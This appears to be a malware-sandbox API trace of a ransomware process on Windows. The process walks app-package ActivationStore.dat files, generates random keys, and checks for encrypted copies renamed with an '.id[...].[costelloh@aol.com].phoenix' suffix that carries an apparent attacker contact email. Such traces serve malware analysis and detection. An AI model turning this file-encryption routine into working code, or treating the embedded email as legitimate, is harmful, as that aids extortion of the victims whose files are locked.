	[0230.442] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.442] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.442] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.443] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0230.443] CloseHandle (hObject=0x2f0) returned 1
	[0230.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.444] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.444] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.444] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.445] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0230.445] CloseHandle (hObject=0x2f0) returned 1
	[0230.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.445] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.475] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.475] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0230.477] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0230.477] CloseHandle (hObject=0x2c8) returned 1
	[0230.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0230.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.478] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.483] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.483] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.487] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0230.487] CloseHandle (hObject=0x2f0) returned 1
	[0230.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.487] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.702] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.702] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0230.703] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0230.704] CloseHandle (hObject=0x2c8) returned 1
	[0230.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0230.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.704] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0231.602] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0231.602] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0231.653] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=131072) returned 1
	[0231.653] CloseHandle (hObject=0x2f0) returned 1
	[0231.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0231.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.653] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0231.712] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0231.712] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0231.716] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0231.716] CloseHandle (hObject=0x2f0) returned 1
	[0231.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0231.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.716] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.009] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0235.009] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.011] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0235.011] CloseHandle (hObject=0x2d4) returned 1
	[0235.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0235.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.011] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.069] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0235.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.076] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0235.076] CloseHandle (hObject=0x2f4) returned 1
	[0235.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0235.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.076] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.131] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0235.131] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.135] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0235.135] CloseHandle (hObject=0x2f4) returned 1
	[0235.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0235.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.136] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.272] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0235.272] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0235.273] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0235.273] CloseHandle (hObject=0x2c8) returned 1
	[0235.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0235.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.274] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Apprep.ChxApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.apprep.chxapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.329] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0235.329] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0235.331] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0235.331] CloseHandle (hObject=0x2c8) returned 1
	[0235.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0235.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
